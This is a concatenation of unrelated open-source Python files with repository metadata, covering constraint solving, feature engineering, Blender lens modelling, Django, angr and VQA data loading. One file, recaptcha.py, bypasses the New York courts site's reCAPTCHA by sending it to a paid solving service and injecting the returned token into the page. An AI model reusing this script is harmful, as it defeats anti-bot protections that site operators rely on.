2021-09-20T12:06:52.000Z

z3/finding_celebrities.py

Wikunia/hakank

030bc928d2efe8dcbc5118bda3f8ae9575d0fd13

[ "MIT" ]

83

2015-01-20T03:44:00.000Z

2022-03-13T23:53:06.000Z

#!/usr/bin/python -u # -*- coding: latin-1 -*- # # Finding celebrities problem in Z3 # # From Uwe Hoffmann # "Finding celebrities at a party" # http://www.codemanic.com/papers/celebs/celebs.pdf # """ # Problem: Given a list of people at a party and for each person the list of # people they know at the party, we want to find the celebrities at the party. # A celebrity is a person that everybody at the party knows but that # only knows other celebrities. At least one celebrity is present at the party. # """ # (This paper also has an implementation in Scala.) # # Note: The original of this problem is # Richard Bird and Sharon Curtis: # "Functional pearls: Finding celebrities: A lesson in functional programming" # J. Funct. Program., 16(1):13 20, 2006. # # The problem from Hoffmann's paper is to find of who are the # celebrity/celebrities in this party graph: # Adam knows {Dan,Alice,Peter,Eva}, # Dan knows {Adam,Alice,Peter}, # Eva knows {Alice,Peter}, # Alice knows {Peter}, # Peter knows {Alice} # # Solution: the celebrities are Peter and Alice. # # I blogged about this problem in "Finding celebrities at a party" # http://www.hakank.org/constraint_programming_blog/2010/01/finding_celebrities_at_a_party.html # # This Z3 model was written by Hakan Kjellerstrand (hakank@gmail.com) # See also my Z3 page: http://hakank.org/z3/ # from z3_utils_hakank import * def finding_celebrities(problem): graph = problem n = len(graph) sol = Solver() # variables celebrities = makeIntVector(sol,"celebrities",n,0,1) # 1 if a celebrity num_celebrities = makeIntVar(sol,"num_celebrities",0,n) # constraints sol.add(num_celebrities == Sum(celebrities)) # All persons know the celebrities, # and the celebrities only know celebrities. for i in range(n): sol.add((celebrities[i] == 1) == (Sum([If(graph[j][i] == 1,1,0) for j in range(n)]) == n)) sol.add((celebrities[i] == 1) == (Sum([If(graph[i][j] == 1,1,0) for j in range(n)]) == num_celebrities)) num_solutions = 0 while sol.check() == sat: num_solutions += 1 mod = sol.model() print("num_celebrities :", mod.eval(num_celebrities)) print("celebrities :", [i for i in range(n) if mod.eval(celebrities[i]) == 1]) print() getDifferentSolution(sol,mod,celebrities) print("num_solutions:", num_solutions) print() # # The party graph of the example above: # # Adam knows [Dan,Alice,Peter,Eva], [2,3,4,5] # Dan knows [Adam,Alice,Peter], [1,4,5] # Eva knows [Alice,Peter], [4,5] # Alice knows [Peter], [5] # Peter knows [Alice] [4] # # Solution: Peter and Alice (4,5) are the celebrities. # problem1 = [[1,1,1,1,1], # 1 [1,1,0,1,1], # 2 [0,0,1,1,1], # 3 [0,0,0,1,1], # 4 [0,0,0,1,1] # 5 ] # In this example Alice (4) also knows Adam (1), # which makes Alice a non celebrity, and since # Peter (5) knows Alices, Peter is now also a # non celebrity. Which means that there are no # celebrities at this party. # problem2 = [[1,1,1,1,1], [1,1,0,1,1], [0,0,1,1,1], [1,0,0,1,1], [0,0,0,1,1] ] # # Here is another example. It has the following # cliques: # [1,2] # [4,5,6] # [6,7,8] # [3,9,10] # # The celebrities are [3,9,10] # problem3 = [[0,1,1,0,0,0,0,1,1,1], [1,0,1,0,0,0,0,0,1,1], [0,0,1,0,0,0,0,0,1,1], [0,1,1,0,1,1,0,0,1,1], [0,0,1,1,0,1,0,0,1,1], [0,0,1,1,1,0,1,1,1,1], [0,0,1,0,0,1,0,1,1,1], [0,0,1,0,0,1,1,0,1,1], [0,0,1,0,0,0,0,0,1,1], [0,0,1,0,0,0,0,0,1,1] ] # # This is the same graph as the one above # with the following changes: # - 9 don't know 3 or 10 # This party graph know consists of just # one celebrity: [9] # problem4 = [[0,1,1,0,0,0,0,1,1,1], [1,0,1,0,0,0,0,0,1,1], [0,0,1,0,0,0,0,0,1,1], [0,1,1,0,1,1,0,0,1,1], [0,0,1,1,0,1,0,0,1,1], [0,0,1,1,1,0,1,1,1,1], [0,0,1,0,0,1,0,1,1,1], [0,0,1,0,0,1,1,0,1,1], [0,0,0,0,0,0,0,0,1,0], [0,0,1,0,0,0,0,0,1,1] ] print("problem1") problem = problem1 finding_celebrities(problem) print("\nproblem2") problem = problem2 finding_celebrities(problem) print("\nproblem3") problem = problem3 finding_celebrities(problem) print("\nproblem4") problem = problem4 finding_celebrities(problem)

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null

0

null

0

1

0

2b79194f124eff83fdb228ce81236856c628bf5e

3,495

py

Python

features/count_encoding_present_domains.py

wantedly/recsys2020-challenge

d9967860cc4767380d28d2ed7af00d467cc6941a

[ "Apache-2.0" ]

35

2020-06-23T05:33:50.000Z

2021-11-22T08:22:42.000Z

features/count_encoding_present_domains.py

wantedly/recsys2020-challenge

d9967860cc4767380d28d2ed7af00d467cc6941a

[ "Apache-2.0" ]

15

2020-12-28T05:31:06.000Z

2021-01-22T06:49:28.000Z

features/count_encoding_present_domains.py

wantedly/recsys2020-challenge

d9967860cc4767380d28d2ed7af00d467cc6941a

[ "Apache-2.0" ]

2

2020-06-30T10:02:05.000Z

2021-05-22T09:57:19.000Z

import os import pandas as pd from base import BaseFeature from encoding_func import target_encoding from google.cloud import storage, bigquery from google.cloud import bigquery_storage_v1beta1 class CountEncodingPresentDomains(BaseFeature): def import_columns(self): return [ "tweet_id", "engaging_user_id" ] def _read_present_domains_count_from_bigquery( self, train_table_name: str, test_table_name) -> pd.DataFrame: self._logger.info(f"Reading from {train_table_name} and {test_table_name}") query = """ WITH subset AS ( ( SELECT tweet_id, any_value(present_domains) AS present_domains FROM {} GROUP BY tweet_id ) UNION ALL ( SELECT tweet_id, any_value(present_domains) AS present_domains FROM {} GROUP BY tweet_id ) ) , unnest_subset AS ( SELECT tweet_id, present_domain FROM subset, unnest(present_domains) AS present_domain ) , count_present_domain AS ( SELECT present_domain, COUNT(*) AS cnt FROM unnest_subset GROUP BY present_domain ) SELECT tweet_id, AVG(cnt) AS mean_value, min(cnt) AS min_value, max(cnt) AS max_value, case when stddev(cnt) is null then 1 else stddev(cnt) end AS std_value FROM ( SELECT A.tweet_id, A.present_domain, B.cnt FROM unnest_subset AS A LEFT OUTER JOIN count_present_domain AS B ON A.present_domain = B.present_domain ) GROUP BY tweet_id """.format(train_table_name, test_table_name) if self.debugging: query += " limit 10000" bqclient = bigquery.Client(project=self.PROJECT_ID) bqstorageclient = bigquery_storage_v1beta1.BigQueryStorageClient() df = ( bqclient.query(query) .result() .to_dataframe(bqstorage_client=bqstorageclient) ) return df def make_features(self, df_train_input, df_test_input): # read unnested present_media count_present_domains = self._read_present_domains_count_from_bigquery( self.train_table, self.test_table ) feature_names = ["mean_value", "max_value", "min_value", "std_value"] print(count_present_domains.shape) print(count_present_domains.isnull().sum()) df_train_features = pd.DataFrame() df_test_features = pd.DataFrame() df_train_input = pd.merge(df_train_input, count_present_domains, on="tweet_id", how="left").fillna(0) df_test_input = pd.merge(df_test_input, count_present_domains, on="tweet_id", how="left").fillna(0) for fe in feature_names: df_train_features[fe] = df_train_input[fe].values df_test_features[fe] = df_test_input[fe].values print(df_train_features.isnull().sum()) print(df_test_features.isnull().sum()) return df_train_features, df_test_features if __name__ == "__main__": CountEncodingPresentDomains.main()

35.663265

109

0.578827

389

3,495

4.858612

0.277635

0.088889

0.050265

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0.189947

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0.005291

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3,495

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0.021639

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0.036145

false

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0.084337

0.012048

0.168675

0.048193

0

null

0

null

0

1

0

2b7933c47db153c1ec83f5874cfd167e2b409ed3

1,214

py

Python

IntroDataScience/ejercicios/06/mean.py

aess14/Cursos-Uniandes

be016b25f2f49788235fbe91ec577fd16b9ad613

[ "MIT" ]

null

IntroDataScience/ejercicios/06/mean.py

aess14/Cursos-Uniandes

be016b25f2f49788235fbe91ec577fd16b9ad613

[ "MIT" ]

null

IntroDataScience/ejercicios/06/mean.py

aess14/Cursos-Uniandes

be016b25f2f49788235fbe91ec577fd16b9ad613

[ "MIT" ]

null

import numpy as np import matplotlib.pyplot as plt def prior(mu): """ Densidad de probabilidad de mu """ p = np.ones(len(mu))/(mu.max()-mu.min()) return p def like(x, sigma, mu): """ Likelihod de tener un dato x e incertidumbre sigma """ L = np.ones(len(mu)) for x_i,sigma_i in zip(x, sigma): L *= (1.0/np.sqrt(2.0*np.pi*sigma_i**2))*np.exp(-0.5*(x_i-mu)**2/(sigma_i**2)) return L def posterior(mu, x, sigma): """ Posterior calculado con la normalizacion adecuada """ post = like(x, sigma, mu) * prior(mu) evidencia = np.trapz(post, mu) return post/evidencia def maximo_incertidumbre(x, y): deltax = x[1] - x[0] # maximo de y ii = np.argmax(y) # segunda derivada d = (y[ii+1] - 2*y[ii] + y[ii-1]) / (deltax**2) return x[ii], 1.0/np.sqrt(-d) x = [4.6, 6.0, 2.0, 5.8] sigma = [2.0, 1.5, 5.0, 1.0] mu = np.linspace(0.0, 10.0, 1000) post = posterior(mu, x, sigma) max, incertidumbre = maximo_incertidumbre(mu, np.log(post)) plt.figure() plt.plot(mu, post) plt.title('$\mu$= {:.2f} $\pm$ {:.2f}'.format(max, incertidumbre)) plt.xlabel('$\mu$') plt.ylabel('prob($\mu$|datos)') plt.savefig('mean.png')

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1,214

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1

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false

0

0.066667

0

0.333333

0

null

0

null

0

1

0

2b795e47993f764317453f8d08fc171b991375f7

582

py

Python

quickSorting.py

slowy07/pythonApps

22f9766291dbccd8185035745950c5ee4ebd6a3e

[ "MIT" ]

10

2020-10-09T11:05:18.000Z

2022-02-13T03:22:10.000Z

quickSorting.py

khairanabila/pythonApps

f90b8823f939b98f7bf1dea7ed35fe6e22e2f730

[ "MIT" ]

null

quickSorting.py

khairanabila/pythonApps

f90b8823f939b98f7bf1dea7ed35fe6e22e2f730

[ "MIT" ]

6

2020-11-26T12:49:43.000Z

2022-03-06T06:46:43.000Z

def partition(arr, low, high): i = (low - 1) pivot = arr[high] for j in range(low, high): if arr[j] <= pivot: i = i + 1 arr[i], arr[j] = arr[j], arr[i] arr[i + 1], arr[high] = arr[high], arr[i + 1] return i + 1 def quickSorting(arr, low, high): if low < high: pi = partition(arr, low, high) quickSorting(arr, low, pi - 1) quickSorting(arr, pi + 1, high) arr = [10,9,8,7,2,3,5,2] print("array is ",arr) numberLength = len(arr) quickSorting(arr, 0, numberLength - 1) print("sorted array is ",arr)

25.304348

49

0.536082

94

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0.319149

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0.121795

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false

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0.105263

0

null

0

null

0

1

0

990bb4f11a86c646dac3a761a312f8d1164528ff

10,032

py

Python

Blender_CamGen/create.py

tswallen/Plenoptic-Simulation

6fe2b694cfe0ca454ab2a3f5657b919e857290dc

[ "MIT" ]

null

Blender_CamGen/create.py

tswallen/Plenoptic-Simulation

6fe2b694cfe0ca454ab2a3f5657b919e857290dc

[ "MIT" ]

null

Blender_CamGen/create.py

tswallen/Plenoptic-Simulation

6fe2b694cfe0ca454ab2a3f5657b919e857290dc

[ "MIT" ]

null

import bpy import math from . import data # create a flat lens surface def flat_surface(half_lens_height, ior, position, name): bpy.ops.mesh.primitive_circle_add(vertices = 64, radius = half_lens_height, fill_type = 'TRIFAN', calc_uvs = False, location=(0,0,0), rotation = (0, -3.1415926536/2.0, 0)) bpy.ops.object.transform_apply() bpy.context.active_object.location[0] = position # rename object and move it to 'Objective' empty bpy.context.active_object.name = name bpy.context.active_object.parent = bpy.data.objects['Objective'] # add glass material glass_material = bpy.data.materials['Glass Material'].copy() glass_material.name = "Glass Material "+name glass_material.node_tree.nodes['IOR'].outputs['Value'].default_value = ior glass_material.node_tree.links.remove(glass_material.node_tree.nodes['Vector Transform.002'].outputs[0].links[0]) #delete normal recalculation for flat surface bpy.context.active_object.data.materials.append(glass_material) # get outer vertex for housing creation bpy.ops.object.mode_set(mode="OBJECT") outer_vertex = bpy.context.active_object.data.vertices[0] for vertex in bpy.context.active_object.data.vertices: if vertex.co.z > outer_vertex.co.z: outer_vertex = vertex return [outer_vertex.co.x, outer_vertex.co.y, outer_vertex.co.z] # create a spherical lens surface def lens_surface(vertex_count_height, vertex_count_radial, surface_radius, half_lens_height, ior, position, name): flip = False if surface_radius < 0.0: flip = True surface_radius = -1.0 * surface_radius # calculate sagitta sagitta = 0.0 if(half_lens_height < surface_radius): sagitta = surface_radius - math.sqrt(surface_radius*surface_radius - half_lens_height*half_lens_height) else: sagitta = surface_radius # calculate number of vertices needed to get vertex_count_height vertices ratio = math.asin(half_lens_height/surface_radius) / 3.1415926536 num_vertices = 2 * int(vertex_count_height/ratio+0.5) # create circle bpy.ops.mesh.primitive_circle_add(vertices = num_vertices, radius = surface_radius, location = (0,0,0)) bpy.ops.object.transform_apply() bpy.ops.object.mode_set(mode="EDIT") bpy.ops.mesh.select_all(action='DESELECT') bpy.ops.object.mode_set(mode="OBJECT") bpy.context.active_object.data.vertices[0].co.x = 0.0 # select all vertices that should be deleted for vertex in bpy.context.active_object.data.vertices: if (vertex.co.y < surface_radius - sagitta) or (vertex.co.x > 0.0): vertex.select = True bpy.ops.object.mode_set(mode="EDIT") bpy.ops.mesh.delete(type='VERT') #select all remaining vertices to create a rotational surface bpy.ops.mesh.select_all(action='SELECT') # use the spin operator to create the rotational surface bpy.ops.mesh.spin(steps = vertex_count_radial, angle = 2.0*math.pi, axis = (0,1,0)) # remove double vertices resulting from the spinning bpy.ops.mesh.select_all(action='SELECT') bpy.ops.mesh.remove_doubles(threshold=0.0) # flip normals for a convex surface if not flip: bpy.ops.mesh.select_all(action='SELECT') bpy.ops.mesh.flip_normals() bpy.ops.object.mode_set(mode = "OBJECT") # move to correct position bpy.context.active_object.rotation_euler[0] = math.pi/2.0 if flip: bpy.context.active_object.rotation_euler[1] = math.pi/2.0 else: bpy.context.active_object.rotation_euler[1] = -math.pi/2.0 bpy.ops.object.transform_apply() bpy.context.active_object.location[0] = position # rename object and move it to 'Objective' empty bpy.context.active_object.name = name bpy.context.active_object.parent = bpy.data.objects['Objective'] # add glass material glass_material = bpy.data.materials['Glass Material'].copy() glass_material.name = "Glass Material "+name glass_material.node_tree.nodes['IOR'].outputs['Value'].default_value = ior bpy.context.active_object.data.materials.append(glass_material) #return the outer vertex for housing creation bpy.ops.object.mode_set(mode="OBJECT") outer_vertex = bpy.context.active_object.data.vertices[0] for vertex in bpy.context.active_object.data.vertices: if vertex.co.z > outer_vertex.co.z: outer_vertex = vertex return [outer_vertex.co.x, outer_vertex.co.y, outer_vertex.co.z] # create camera and objective housing as a rotational surface using the outer vertices of the lenses def housing(outer_vertices, outer_lens_index, vertex_count_radial): bpy.data.meshes['Housing Mesh'].vertices.add(len(outer_vertices)+3) # add outer lens vertices to mesh for i in range(0, len(outer_vertices)): bpy.data.meshes['Housing Mesh'].vertices[i].co.x = outer_vertices[i][0] + data.objective[outer_lens_index[i]]['position'] bpy.data.meshes['Housing Mesh'].vertices[i].co.y = outer_vertices[i][1] bpy.data.meshes['Housing Mesh'].vertices[i].co.z = outer_vertices[i][2] # add camera housing vertices to mesh bpy.data.meshes['Housing Mesh'].vertices[len(outer_vertices)].co.x = bpy.data.meshes['Housing Mesh'].vertices[len(outer_vertices)-1].co.x bpy.data.meshes['Housing Mesh'].vertices[len(outer_vertices)].co.y = bpy.data.meshes['Housing Mesh'].vertices[len(outer_vertices)-1].co.y bpy.data.meshes['Housing Mesh'].vertices[len(outer_vertices)].co.z = 1.5 * bpy.data.meshes['Housing Mesh'].vertices[len(outer_vertices)-1].co.z bpy.data.meshes['Housing Mesh'].vertices[len(outer_vertices)+1].co.x = bpy.data.meshes['Housing Mesh'].vertices[len(outer_vertices)].co.x + max(3.0 * data.objective[len(data.objective)-1]['thickness'], bpy.data.meshes['Housing Mesh'].vertices[len(outer_vertices)-1].co.x-bpy.data.meshes['Housing Mesh'].vertices[0].co.x) bpy.data.meshes['Housing Mesh'].vertices[len(outer_vertices)+1].co.y = bpy.data.meshes['Housing Mesh'].vertices[len(outer_vertices)].co.y bpy.data.meshes['Housing Mesh'].vertices[len(outer_vertices)+1].co.z = bpy.data.meshes['Housing Mesh'].vertices[len(outer_vertices)].co.z bpy.data.meshes['Housing Mesh'].vertices[len(outer_vertices)+2].co.x = bpy.data.meshes['Housing Mesh'].vertices[len(outer_vertices)+1].co.x bpy.data.meshes['Housing Mesh'].vertices[len(outer_vertices)+2].co.y = 0.0 bpy.data.meshes['Housing Mesh'].vertices[len(outer_vertices)+2].co.z = 0.0 # connect vertices bpy.ops.object.mode_set(mode="OBJECT") bpy.ops.object.select_all(action='DESELECT') bpy.context.view_layer.objects.active = bpy.data.objects['Objective Housing'] for i in range(0, len(outer_vertices)+2): bpy.ops.object.mode_set(mode="EDIT") bpy.ops.mesh.select_all(action='DESELECT') bpy.ops.object.mode_set(mode="OBJECT") # select two vertices bpy.data.objects['Objective Housing'].data.vertices[i].select = True bpy.data.objects['Objective Housing'].data.vertices[i+1].select = True bpy.ops.object.mode_set(mode="EDIT") bpy.ops.mesh.edge_face_add() # select all vertices to create a rotational surface bpy.ops.object.mode_set(mode="EDIT") bpy.ops.mesh.select_all(action='DESELECT') bpy.ops.mesh.select_all(action='SELECT') # use the spin operator to create the rotational surface bpy.ops.mesh.spin(steps = vertex_count_radial, angle = 2.0*3.1415926536, axis = (1,0,0), center = (0,0,0)) # remove double vertices resulting from the spinning bpy.ops.mesh.select_all(action='SELECT') bpy.ops.mesh.remove_doubles(threshold=0.0, use_unselected=True) bpy.ops.object.mode_set(mode="OBJECT") bpy.data.objects['Objective Housing'].display_type='WIRE' # create aperture by using the difference modifier on a plane def aperture(): # check if old opening exists and delete it for current_object in bpy.data.objects: current_object.select_set(False) if current_object.name == 'Opening': bpy.data.objects['Opening'].hide_viewport = False bpy.data.objects['Opening'].hide_render = False bpy.context.active_object.select_set(False) current_object.select_set(True) bpy.ops.object.delete() # create circle num_of_blades = bpy.data.scenes[0].camera_generator.prop_aperture_blades bpy.ops.mesh.primitive_circle_add(vertices=num_of_blades,radius=0.5, location=(0,0,0)) # rename bpy.context.active_object.name="Opening" # rotate bpy.context.active_object.rotation_euler[0] = 90.0/180.0*3.1415926536 bpy.context.active_object.rotation_euler[2] = 90.0/180.0*3.1415926536 # switch to edit mode, add face and extrude object bpy.ops.object.mode_set(mode="EDIT") bpy.ops.mesh.edge_face_add() bpy.ops.mesh.extrude_edges_move() bpy.ops.transform.translate(value=(0.01, 0, 0)) bpy.ops.mesh.edge_face_add() bpy.ops.mesh.select_all() bpy.ops.mesh.normals_make_consistent(inside=False) # switch back to object mode and reset position bpy.ops.object.mode_set(mode="OBJECT") bpy.context.active_object.location[0] = -0.005 bpy.ops.object.transform_apply() # move object to aperture empty bpy.context.active_object.parent=bpy.data.objects['Aperture'] # set difference modifier of aperture plane to use new shape bpy.data.objects['Aperture Plane'].modifiers['Difference'].object=bpy.data.objects['Opening'] bpy.data.objects['Opening'].hide_viewport=True bpy.data.objects['Opening'].hide_render = True # rescale opening according to currently set scaling bpy.data.objects['Opening'].scale[1] = bpy.data.scenes[0].camera_generator.prop_aperture_size/1000.0 bpy.data.objects['Opening'].scale[2] = bpy.data.scenes[0].camera_generator.prop_aperture_size/1000.0 # rotate opening according to currently set angle bpy.data.objects['Opening'].rotation_euler[0] = bpy.data.scenes[0].camera_generator.prop_aperture_angle/180.0*math.pi

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53.935484

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null

0

null

0

1

0

990d44c23c9a98487c5847b19f0dbb7393d43a48

326

py

Python

api/account/REST_API/views.py

HVLLO/FaceMash

014354a593dc6f6a4313490535682a6902c28129

[ "MIT" ]

null

api/account/REST_API/views.py

HVLLO/FaceMash

014354a593dc6f6a4313490535682a6902c28129

[ "MIT" ]

7

2020-02-11T23:32:22.000Z

2022-03-11T23:37:06.000Z

api/account/REST_API/views.py

HVLLO/FaceMash

014354a593dc6f6a4313490535682a6902c28129

[ "MIT" ]

null

from rest_framework.permissions import AllowAny, IsAuthenticated from rest_framework.generics import (CreateAPIView, UpdateAPIView,) from api.account.REST_API.serializers import UserProfileSerializer class CreateUserAPIView(CreateAPIView): permission_classes = (AllowAny,) serializer_class = UserProfileSerializer

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null

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1

0

1

0

2

990efde977aade2108c67c75a84ae6c564a508e6

3,321

py

Python

recaptcha.py

m3ngineer/hospital-lawsuits

1f71e4c7cdf0512592aa1f4ac5f03c7809149280

[ "MIT" ]

null

recaptcha.py

m3ngineer/hospital-lawsuits

1f71e4c7cdf0512592aa1f4ac5f03c7809149280

[ "MIT" ]

null

recaptcha.py

m3ngineer/hospital-lawsuits

1f71e4c7cdf0512592aa1f4ac5f03c7809149280

[ "MIT" ]

null

from python_anticaptcha import AnticaptchaClient, NoCaptchaTaskProxylessTask from selenium import webdriver from selenium.webdriver.support.ui import WebDriverWait from selenium.webdriver.common.by import By from selenium.webdriver.support import expected_conditions as EC from time import sleep import config api_key = config.keys['api_key'] site_key = config.keys['site_key'] # grab from site # url = 'https://www.google.com/recaptcha/api2/demo' url = 'https://iapps.courts.state.ny.us/webcivilLocal/captcha' # Launch Chrome options = webdriver.ChromeOptions() driver = webdriver.Chrome(options=options, executable_path=r'/Users/mattheweng/bin/chromedriver') driver.get("https://iapps.courts.state.ny.us/webcivilLocal/LCSearch?param=I") url = driver.current_url sleep(30) print(1, url) # Perform AntiCaptcha task client = AnticaptchaClient(api_key) task = NoCaptchaTaskProxylessTask(url, site_key) job = client.createTask(task) print('Getting solution...') job.join() # Receive response response = job.get_solution_response() print("Received solution", response) # Inject response in webpage # driver.execute_script('document.getElementById("g-recaptcha-response").innerHTML = "%s"' % response) driver.execute_script( "arguments[0].style.display='inline'", driver.find_element_by_xpath( '//*[@id="g-recaptcha-response"]' ), ) driver.execute_script( 'document.getElementById("g-recaptcha-response").innerHTML = "%s"' % response ) # Wait a moment to execute the script (just in case). sleep(10) # Press submit button print('Submitting solution...') # driver.find_element_by_id('captcha_form').submit() WebDriverWait(driver, 10).until(EC.frame_to_be_available_and_switch_to_it((By.CSS_SELECTOR,"iframe[name^='a-'][src^='https://www.google.com/recaptcha/api2/anchor?']"))) WebDriverWait(driver, 10).until(EC.element_to_be_clickable((By.XPATH, "//span[@class='recaptcha-checkbox goog-inline-block recaptcha-checkbox-unchecked rc-anchor-checkbox']/div[@class='recaptcha-checkbox-checkmark']"))).click() ''' options = webdriver.ChromeOptions() # options.add_argument("start-maximized") # options.add_experimental_option("excludeSwitches", ["enable-automation"]) # options.add_experimental_option('useAutomationExtension', False) options.add_argument("--user-data-dir=/Users/mattheweng/Library/Application Support/Google/Chrome/Default") driver = webdriver.Chrome(options=options, executable_path=r'/Users/mattheweng/bin/chromedriver') print(0) driver.get("https://iapps.courts.state.ny.us/webcivilLocal/LCSearch?param=I") print(1) driver.implicitly_wait(10) WebDriverWait(driver, 100).until(EC.frame_to_be_available_and_switch_to_it((By.CSS_SELECTOR,"iframe[src^='https://www.google.com/recaptcha/api2/anchor?']"))) print(1.5) driver.implicitly_wait(10) WebDriverWait(driver, 100).until(EC.element_to_be_clickable((By.CSS_SELECTOR, "span.recaptcha-checkbox.goog-inline-block.recaptcha-checkbox-unchecked.rc-anchor-checkbox"))).click() print(1.7) driver.switch_to_default_content() # WebDriverWait(driver, 10).until(EC.frame_to_be_available_and_switch_to_it((By.CSS_SELECTOR,"iframe[name^='a-'][src^='https://www.google.com/recaptcha/api2/anchor?']"))) print(2) # WebDriverWait(driver, 10).until(EC.element_to_be_clickable((By.XPATH, "//span[@id='recaptcha-anchor']"))).click() '''

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227

0.776272

444

3,321

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0.399602

0

0.011309

0.068052

3,321

79

228

42.037975

0.799677

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0

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0.34358

0.169379

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0.189189

0.108108

0

null

0

null

0

1

0

99140dc5ada574c50a6593e547dcee3d99a877a7

360

py

Python

angr/procedures/java_lang/math.py

Kyle-Kyle/angr

345b2131a7a67e3a6ffc7d9fd475146a3e12f837

[ "BSD-2-Clause" ]

6,132

2015-08-06T23:24:47.000Z

2022-03-31T21:49:34.000Z

angr/procedures/java_lang/math.py

Kyle-Kyle/angr

345b2131a7a67e3a6ffc7d9fd475146a3e12f837

[ "BSD-2-Clause" ]

2,272

2015-08-10T08:40:07.000Z

2022-03-31T23:46:44.000Z

angr/procedures/java_lang/math.py

Kyle-Kyle/angr

345b2131a7a67e3a6ffc7d9fd475146a3e12f837

[ "BSD-2-Clause" ]

1,155

2015-08-06T23:37:39.000Z

2022-03-31T05:54:11.000Z

import claripy import logging from ..java import JavaSimProcedure log = logging.getLogger(name=__name__) class Random(JavaSimProcedure): __provides__ = ( ('java.lang.Math', 'random'), ) def run(self): log.debug('Called SimProcedure java.lang.Math.random with args') return claripy.FPS('rand_int', claripy.FSORT_DOUBLE)

21.176471

72

0.691667

42

360

5.690476

0.666667

0.066946

0.100418

0.150628

0

0.194444

360

16

73

22.5

0.824138

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0

1

0.090909

false

0

0.272727

0

0.636364

0

null

0

null

0

1

0

1

99149757f665b2f4b37b4dcf179960c645b6306b

2,437

py

Python

demo/demo_dataset.py

lyuyangh/Cross-Attention-VizWiz-VQA

853bfe480dac5bd1363f60c6b17e25134acdc2fa

[ "MIT" ]

10

2021-07-25T12:44:34.000Z

2022-03-23T04:07:12.000Z

demo/demo_dataset.py

lyuyangh/Cross-Attention-VizWiz-VQA

853bfe480dac5bd1363f60c6b17e25134acdc2fa

[ "MIT" ]

null

demo/demo_dataset.py

lyuyangh/Cross-Attention-VizWiz-VQA

853bfe480dac5bd1363f60c6b17e25134acdc2fa

[ "MIT" ]

5

2021-07-25T12:44:35.000Z

2022-03-26T16:51:44.000Z

import os import sys import h5py import _pickle as cPickle import numpy as np import requests import torch from torch.utils.data import Dataset sys.path.append(os.path.dirname(os.path.dirname(os.path.abspath(__file__)))) from utils.dataset import Dictionary MAX_QUES_SEQ_LEN = 26 NO_OBJECTS = 36 URL_FEATURE_SERVER = "http://127.0.0.1:6000/GetFeature" class VQAFeatureDataset(Dataset): def __init__(self, dataroot="data"): super(VQAFeatureDataset, self).__init__() self.dictionary = Dictionary.load_from_file( os.path.join(dataroot, "glove", "dictionary.pkl") ) ans2label_path = os.path.join( dataroot, "cache", "trainval_ans2label.pkl", ) label2ans_path = os.path.join( dataroot, "cache", "trainval_label2ans.pkl", ) self.ans2label = cPickle.load(open(ans2label_path, "rb")) self.label2ans = cPickle.load(open(label2ans_path, "rb")) self.num_ans_candidates = len(self.ans2label) name = "demo" self.img_id2idx = cPickle.load( open( os.path.join( dataroot, "imgids/%s%s_imgid2idx.pkl" % (name, 36), ), "rb", ) ) h5_dataroot = dataroot + "/Bottom-up-features-fixed" h5_path = os.path.join(h5_dataroot, "%s%s.hdf5" % (name, "36")) print("loading features from h5 file %s" % h5_path) hf_file = h5py.File(h5_path, "r") self.features = hf_file.get("image_features") self.bboxes = hf_file.get("image_bb") self.question = None self.image_id = None def set_input(self, image_id, question): tokens = self.dictionary.tokenize(question, False) tokens = tokens[:MAX_QUES_SEQ_LEN] if len(tokens) < MAX_QUES_SEQ_LEN: padding = [self.dictionary.padding_idx] * ( MAX_QUES_SEQ_LEN - len(tokens) ) tokens = tokens + padding self.question = torch.from_numpy(np.array(tokens)) self.image_id = image_id def __getitem__(self, index): return ( torch.from_numpy(self.features[self.img_id2idx[self.image_id]]), torch.from_numpy(self.bboxes[self.img_id2idx[self.image_id]]), self.question, ) def __len__(self): return 1

30.08642

76

0.591301

291

2,437

4.707904

0.323024

0.035037

0.036496

0.037956

0.137226

0.086131

0.051095

0

0.023879

0.295445

2,437

80

77

30.4625

0.774024

0

0.073529

0

0.09643

0.038572

0

1

0.058824

false

0

0.132353

0.029412

0.235294

0.014706

0

null

0

null

0

1

0

9915026ad17aa054b3b1dcf4b6564ca6416fe1c6

1,963

py

Python

setup.py

the01/paps-realtime

94fc40e196a46eab0ce1b8626dadca5f720f9995

[ "MIT" ]

null

setup.py

the01/paps-realtime

94fc40e196a46eab0ce1b8626dadca5f720f9995

[ "MIT" ]

null

setup.py

the01/paps-realtime

94fc40e196a46eab0ce1b8626dadca5f720f9995

[ "MIT" ]

null

#!/usr/bin/env python # -*- coding: UTF-8 -*- from __future__ import absolute_import from __future__ import division from __future__ import print_function # from __future__ import unicode_literals __author__ = "d01 <Florian Jung>" __email__ = "jungflor@gmail.com" __copyright__ = "Copyright (C) 2015-16, Florian JUNG" __license__ = "MIT" __version__ = "0.1.2" __date__ = "2016-03-31" # Created: 2015-09-20 05:30 try: from setuptools import setup except ImportError: from distutils.core import setup import sys import os import re if sys.argv[-1] == "build": os.system("python setup.py clean sdist bdist bdist_egg bdist_wheel") def get_version(): """ Parse the version information from the init file """ version_file = os.path.join("paps_realtime", "__init__.py") initfile_lines = open(version_file, "rt").readlines() version_reg = r"^__version__ = ['\"]([^'\"]*)['\"]" for line in initfile_lines: mo = re.search(version_reg, line, re.M) if mo: return mo.group(1) raise RuntimeError( u"Unable to find version string in {}".format(version_file) ) version = get_version() requirements = open("requirements.txt", "r").read().split("\n") setup( name="paps-realtime", version=version, description="Realtime browser display plugin for paps", long_description="", author=__author__, author_email=__email__, url="https://github.com/the01/paps-realtime", packages=[ "paps_realtime" ], install_requires=requirements, include_package_data=True, license=__license__, keywords="paps audience participation display browser", classifiers=[ "Development Status :: 2 - Pre-Alpha", "Intended Audience :: Developers", "License :: OSI Approved :: MIT License", "Natural Language :: English", "Programming Language :: Python :: 2", "Programming Language :: Python :: 2.7" ] )

27.263889

72

0.665818

236

1,963

5.194915

0.576271

0.032626

0.052202

0.042414

0

0.025657

0.205807

1,963

71

73

27.647887

0.760744

0.07998

0

0.337997

0

1

0.018182

false

0

0.163636

0

0.2

0.018182

0

null

0

null

0

1

0

99175e305e91f74cfd9b97e4031f7f7524add878

6,639

py

Python

nonlinear_data_fitting/demo_nonlinear_data_fitting.py

almostdutch/numerical-optimization-algorithms

cd6c1306cb04eccce62a74420323bda83058c1d6

[ "MIT" ]

null

nonlinear_data_fitting/demo_nonlinear_data_fitting.py

almostdutch/numerical-optimization-algorithms

cd6c1306cb04eccce62a74420323bda83058c1d6

[ "MIT" ]

1

2021-06-02T10:07:26.000Z

2021-06-03T10:23:46.000Z

